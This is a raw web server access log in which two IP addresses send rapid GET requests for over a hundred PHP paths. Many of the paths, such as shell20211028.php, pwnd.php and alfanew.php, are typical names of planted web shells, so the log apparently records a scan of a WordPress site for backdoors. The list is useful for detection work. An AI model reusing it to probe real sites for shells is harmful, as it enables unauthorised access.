"-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:04 -0400] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:19:05 -0400] "GET /wp-includes/IXR/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:05 -0400] "GET /byp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:19:05 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:05 -0400] "GET /wp-content/plugins/Core-EconX/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:05 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:19:05 -0400] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:19:05 -0400] "GET /wp-admin/css/colors/blue/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.191 - - [23/Apr/2025:03:19:05 -0400] "GET /aq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:05 -0400] "GET /wp-includes/certificates/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:05 -0400] "GET /wp-includes/css/dist/niil.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:05 -0400] "GET /wp-includes/IXR/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:05 -0400] "GET /randkeyword.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:19:05 -0400] "GET /wp-admin/images/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:05 -0400] "GET /yu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:05 -0400] "GET /moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:19:05 -0400] "GET /.well-known/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:05 -0400] "GET /wp-includes/pomo/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:05 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:05 -0400] "GET /wp-content/themes/pridmag/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:19:05 -0400] "GET /gt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:05 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:05 -0400] "GET /wp-includes/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:05 -0400] "GET /wp-content/uploads/GzyYU.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:05 -0400] "GET /lock.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.19.193 - - [23/Apr/2025:03:19:05 -0400] "GET /wp-admin/css/colors/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:05 -0400] "GET /duck.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:05 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:05 -0400] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:05 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:05 -0400] "GET /wp-includes/luuf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:05 -0400] "GET /.well-known/acme-challenge/aboudt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:05 -0400] "GET /op.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:06 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:06 -0400] "GET /wp-admin/js/widgets/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:06 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:06 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:19:06 -0400] "GET /l/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:06 -0400] "GET /wp-includes/certificates/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:06 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:06 -0400] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:06 -0400] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:06 -0400] "GET /wp-admin/network/gzak2w.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:06 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.19.193 - - [23/Apr/2025:03:19:06 -0400] "GET /mm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:19:06 -0400] "GET /login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:19:06 -0400] "GET /components/com_jea/views/form/tmpl/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.19.191 - - [23/Apr/2025:03:19:06 -0400] "GET /pgs.phP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:19:06 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.19.191 - - [23/Apr/2025:03:19:06 -0400] "GET /update/wpupex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:19:06 -0400] "GET /wp-includes/css/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:06 -0400] "GET /test/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:06 -0400] "GET /eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.19.191 - - [23/Apr/2025:03:19:06 -0400] "GET /shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.19.193 - - [23/Apr/2025:03:19:06 -0400] "GET /goat1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:19:06 -0400] "GET /m.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:06 -0400] "GET /indeex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:06 -0400] "GET /wp-content/themes/twentytwentythree/patterns/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.19.193 - - [23/Apr/2025:03:19:06 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:06 -0400] "GET /mjq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.19.193 - - [23/Apr/2025:03:19:06 -0400] "GET /st.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:19:06 -0400] "GET /wp-admin/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:19:06 -0400] "GET /wp-admin/css/colors/blue/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:06 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:07 -0400] "GET /2index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.19.193 - - [23/Apr/2025:03:19:07 -0400] "GET /sys.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:07 -0400] "GET /readme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:07 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:07 -0400] "GET /assets/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:07 -0400] "GET /wp-content/plugins/fix/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:19:07 -0400] "GET /wp-content/themes/sky-pro/js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:07 -0400] "GET /wp-includes/customize/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:19:07 -0400] "GET /litespeed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:19:07 -0400] "GET /wp-add.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:07 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:07 -0400] "GET /wp-includes/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:07 -0400] "GET /ayk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:07 -0400] "GET /wp-includes/certificates/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:07 -0400] "GET /bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:19:07 -0400] "GET /wp-content/uploads/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:19:07 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:07 -0400] "GET /wp-admin/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:07 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:19:07 -0400] "GET /.qiodeme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:07 -0400] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:07 -0400] "GET /0x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.19.191 - - [23/Apr/2025:03:19:07 -0400] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:07 -0400] "GET /ad.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:07 -0400] "GET /wp-admin/network/word.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:07 -0400] "GET /baxa1.phP8 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 138.199.19.193 - - [23/Apr/2025:03:19:07 -0400] "GET /wp-admin/users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:08 -0400] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:08 -0400] "GET /er.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:08 -0400] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:08 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:08 -0400] "GET /extracte_wordprees/dirfunc/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:19:08 -0400] "GET /templates/luuf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.19.193 - - [23/Apr/2025:03:19:08 -0400] "GET /wp-admin/images/sidebarh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:19:08 -0400] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.19.191 - - [23/Apr/2025:03:19:08 -0400] "GET /wp-includes/PHPMailer/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:08 -0400] "GET /cgi-bin/users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:08 -0400] "GET /wp-admih.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 138.199.19.191 - - [23/Apr/2025:03:19:08 -0400] "GET /wp-content/upgrade/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:19:08 -0400] "GET /nav-menus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.19.193 - - [23/Apr/2025:03:19:08 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:08 -0400] "GET /wp-admin/network/ayk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:08 -0400] "GET /wp-content/plugins/google-seo-rank/module.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:08 -0400] "GET /wp-content/plugins/shell/noimg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:19:08 -0400] "GET /df.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:19:08 -0400] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:08 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:19:08 -0400] "GET /.well-known/pki-validation/baja.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.191 - - 